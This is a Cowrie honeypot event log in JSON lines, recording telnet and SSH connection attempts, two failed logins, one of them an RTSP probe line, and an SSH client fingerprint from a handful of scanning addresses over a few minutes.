{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31462,"dst_ip":"10.17.0.5","dst_port":23,"session":"584033af3727","protocol":"telnet","message":"New connection: 34.78.96.14:31462 (10.17.0.5:23) [session: 584033af3727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:41.654235Z"}
{"eventid":"cowrie.session.closed","duration":0.0052340030670166016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:41.659330Z","src_ip":"34.78.96.14","session":"584033af3727","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31478,"dst_ip":"10.17.0.5","dst_port":23,"session":"a237bc0a356a","protocol":"telnet","message":"New connection: 34.78.96.14:31478 (10.17.0.5:23) [session: a237bc0a356a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:41.809295Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31490,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebaf84ac9a08","protocol":"telnet","message":"New connection: 34.78.96.14:31490 (10.17.0.5:23) [session: ebaf84ac9a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:41.963289Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31504,"dst_ip":"10.17.0.5","dst_port":23,"session":"f24d8b4d38cb","protocol":"telnet","message":"New connection: 34.78.96.14:31504 (10.17.0.5:23) [session: f24d8b4d38cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:42.120665Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31520,"dst_ip":"10.17.0.5","dst_port":23,"session":"100d7a287209","protocol":"telnet","message":"New connection: 34.78.96.14:31520 (10.17.0.5:23) [session: 100d7a287209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:42.287650Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31532,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c74225931ea","protocol":"telnet","message":"New connection: 34.78.96.14:31532 (10.17.0.5:23) [session: 6c74225931ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:42.442528Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31538,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b2a47dcafb5","protocol":"telnet","message":"New connection: 34.78.96.14:31538 (10.17.0.5:23) [session: 0b2a47dcafb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:42.597483Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31540,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cdcc7c80296","protocol":"telnet","message":"New connection: 34.78.96.14:31540 (10.17.0.5:23) [session: 2cdcc7c80296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:42.750960Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31544,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb1b43e30b45","protocol":"telnet","message":"New connection: 34.78.96.14:31544 (10.17.0.5:23) [session: fb1b43e30b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:42.905180Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31556,"dst_ip":"10.17.0.5","dst_port":23,"session":"54bd80c0525f","protocol":"telnet","message":"New connection: 34.78.96.14:31556 (10.17.0.5:23) [session: 54bd80c0525f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:43.059610Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:43.064888Z","src_ip":"34.78.96.14","session":"54bd80c0525f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31566,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0cff537ab22","protocol":"telnet","message":"New connection: 34.78.96.14:31566 (10.17.0.5:23) [session: a0cff537ab22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:43.217463Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31580,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e7897ddce9a","protocol":"telnet","message":"New connection: 34.78.96.14:31580 (10.17.0.5:23) [session: 3e7897ddce9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:43.371118Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31596,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1d9754699c7","protocol":"telnet","message":"New connection: 34.78.96.14:31596 (10.17.0.5:23) [session: e1d9754699c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:43.526528Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31598,"dst_ip":"10.17.0.5","dst_port":23,"session":"101021839316","protocol":"telnet","message":"New connection: 34.78.96.14:31598 (10.17.0.5:23) [session: 101021839316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:43.681714Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31602,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c2440841018","protocol":"telnet","message":"New connection: 34.78.96.14:31602 (10.17.0.5:23) [session: 2c2440841018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:43.835793Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31612,"dst_ip":"10.17.0.5","dst_port":23,"session":"498104f46761","protocol":"telnet","message":"New connection: 34.78.96.14:31612 (10.17.0.5:23) [session: 498104f46761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:43.990491Z"}
{"eventid":"cowrie.session.closed","duration":0.004874706268310547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:43.995264Z","src_ip":"34.78.96.14","session":"498104f46761","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31614,"dst_ip":"10.17.0.5","dst_port":23,"session":"1954fd04c1b1","protocol":"telnet","message":"New connection: 34.78.96.14:31614 (10.17.0.5:23) [session: 1954fd04c1b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:44.146666Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.96.14","src_port":31630,"dst_ip":"10.17.0.5","dst_port":23,"session":"c740c0d5b52c","protocol":"telnet","message":"New connection: 34.78.96.14:31630 (10.17.0.5:23) [session: c740c0d5b52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:44.301427Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 812","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 812] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:44.307601Z","src_ip":"34.78.96.14","session":"c740c0d5b52c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.716199398040771,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.211037Z","src_ip":"34.78.96.14","session":"a8130c6d9cc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.880051136016846,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.219313Z","src_ip":"34.78.96.14","session":"1b8cb771cd16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.038037538528442,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.223190Z","src_ip":"34.78.96.14","session":"cd2f3c6b2d9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.196889162063599,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.227743Z","src_ip":"34.78.96.14","session":"25fdaa1f5264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.52263307571411,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.234744Z","src_ip":"34.78.96.14","session":"b7d14594ab32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.976277589797974,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.277625Z","src_ip":"34.78.96.14","session":"c740c0d5b52c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.137100458145142,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.283660Z","src_ip":"34.78.96.14","session":"1954fd04c1b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.45207929611206,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.287772Z","src_ip":"34.78.96.14","session":"2c2440841018","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.611785888671875,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.293400Z","src_ip":"34.78.96.14","session":"101021839316","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.771770000457764,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.298194Z","src_ip":"34.78.96.14","session":"e1d9754699c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.9312744140625,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.302284Z","src_ip":"34.78.96.14","session":"3e7897ddce9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.088794231414795,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.306164Z","src_ip":"34.78.96.14","session":"a0cff537ab22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.25521993637085,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.314701Z","src_ip":"34.78.96.14","session":"54bd80c0525f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.414708375930786,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.319785Z","src_ip":"34.78.96.14","session":"fb1b43e30b45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.572543859481812,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.323407Z","src_ip":"34.78.96.14","session":"2cdcc7c80296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.729709148406982,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.327080Z","src_ip":"34.78.96.14","session":"0b2a47dcafb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.889224529266357,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.331663Z","src_ip":"34.78.96.14","session":"6c74225931ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.047722578048706,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.335264Z","src_ip":"34.78.96.14","session":"100d7a287209","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.375568151473999,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.338726Z","src_ip":"34.78.96.14","session":"ebaf84ac9a08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.221543550491333,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.342025Z","src_ip":"34.78.96.14","session":"f24d8b4d38cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.536133050918579,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.345301Z","src_ip":"34.78.96.14","session":"a237bc0a356a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.851559400558472,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.348598Z","src_ip":"34.78.96.14","session":"de08408b2dce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.083630084991455,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.351787Z","src_ip":"34.78.96.14","session":"b5fe5bd97d1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.241844415664673,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.355035Z","src_ip":"34.78.96.14","session":"784d21b7f814","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.399362802505493,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.358115Z","src_ip":"34.78.96.14","session":"312085212f89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.556366682052612,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.361596Z","src_ip":"34.78.96.14","session":"c33511a0f1e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.715607404708862,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:43:55.366194Z","src_ip":"34.78.96.14","session":"f7f7d60b76d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59822,"dst_ip":"10.17.0.5","dst_port":23,"session":"f72058039121","protocol":"telnet","message":"New connection: 104.245.105.2:59822 (10.17.0.5:23) [session: f72058039121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:44:19.867403Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":49560,"dst_ip":"10.17.0.5","dst_port":23,"session":"8009462d78af","protocol":"telnet","message":"New connection: 207.154.251.61:49560 (10.17.0.5:23) [session: 8009462d78af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:44:45.471446Z"}
{"eventid":"cowrie.session.closed","duration":31.403887033462524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:44:51.271159Z","src_ip":"104.245.105.2","session":"f72058039121","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51982,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7f5dfee9afe","protocol":"telnet","message":"New connection: 104.245.105.2:51982 (10.17.0.5:23) [session: e7f5dfee9afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:45:23.967931Z"}
{"eventid":"cowrie.session.closed","duration":38.674548387527466,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:45:24.145911Z","src_ip":"207.154.251.61","session":"8009462d78af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":49848,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5ce0feb171c","protocol":"telnet","message":"New connection: 207.154.251.61:49848 (10.17.0.5:23) [session: a5ce0feb171c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:45:40.494689Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.151.241.153","src_port":51630,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e56597b1cd8","protocol":"ssh","message":"New connection: 3.151.241.153:51630 (10.17.0.5:22) [session: 0e56597b1cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:45:41.034824Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:45:41.375848Z","src_ip":"3.151.241.153","session":"0e56597b1cd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:45:41.380450Z","src_ip":"3.151.241.153","session":"0e56597b1cd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.268061876296997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:45:54.235853Z","src_ip":"104.245.105.2","session":"e7f5dfee9afe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.191.225.141","src_port":23166,"dst_ip":"10.17.0.5","dst_port":23,"session":"2328855ce5d3","protocol":"telnet","message":"New connection: 186.191.225.141:23166 (10.17.0.5:23) [session: 2328855ce5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:45:55.361328Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":39694,"dst_ip":"10.17.0.5","dst_port":23,"session":"e116de0c7439","protocol":"telnet","message":"New connection: 207.154.251.61:39694 (10.17.0.5:23) [session: e116de0c7439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:45:56.482249Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47084,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4ffcf639663","protocol":"telnet","message":"New connection: 104.245.105.2:47084 (10.17.0.5:23) [session: d4ffcf639663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:45:58.981999Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37926,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6d500adddd2","protocol":"telnet","message":"New connection: 104.245.105.2:37926 (10.17.0.5:23) [session: f6d500adddd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:08.209219Z"}
{"eventid":"cowrie.session.closed","duration":13.550235986709595,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:08.911444Z","src_ip":"186.191.225.141","session":"2328855ce5d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.151.241.153","src_port":56978,"dst_ip":"10.17.0.5","dst_port":22,"session":"d761bddb679f","protocol":"ssh","message":"New connection: 3.151.241.153:56978 (10.17.0.5:22) [session: d761bddb679f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:09.209808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:09.387979Z","src_ip":"3.151.241.153","session":"d761bddb679f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:09.391672Z","src_ip":"3.151.241.153","session":"d761bddb679f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:19.388427Z","src_ip":"3.151.241.153","session":"d761bddb679f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35408,"dst_ip":"10.17.0.5","dst_port":23,"session":"b69aa79840ab","protocol":"telnet","message":"New connection: 104.245.105.2:35408 (10.17.0.5:23) [session: b69aa79840ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:27.462034Z"}
{"eventid":"cowrie.session.closed","duration":30.33537483215332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:29.317256Z","src_ip":"104.245.105.2","session":"d4ffcf639663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.68818163871765,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:33.170343Z","src_ip":"207.154.251.61","session":"e116de0c7439","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.284802198410034,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:42.493916Z","src_ip":"104.245.105.2","session":"f6d500adddd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41398,"dst_ip":"10.17.0.5","dst_port":23,"session":"727f7c391e30","protocol":"telnet","message":"New connection: 104.245.105.2:41398 (10.17.0.5:23) [session: 727f7c391e30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:51.002591Z"}
{"eventid":"cowrie.session.closed","duration":31.853400468826294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:46:59.315323Z","src_ip":"104.245.105.2","session":"b69aa79840ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":40044,"dst_ip":"10.17.0.5","dst_port":23,"session":"9beeb068571c","protocol":"telnet","message":"New connection: 207.154.251.61:40044 (10.17.0.5:23) [session: 9beeb068571c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:07.085580Z"}
{"eventid":"cowrie.session.closed","duration":0.7009341716766357,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:07.786300Z","src_ip":"207.154.251.61","session":"9beeb068571c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":40048,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b5274b28bae","protocol":"telnet","message":"New connection: 207.154.251.61:40048 (10.17.0.5:23) [session: 7b5274b28bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:47:15.985409Z"}
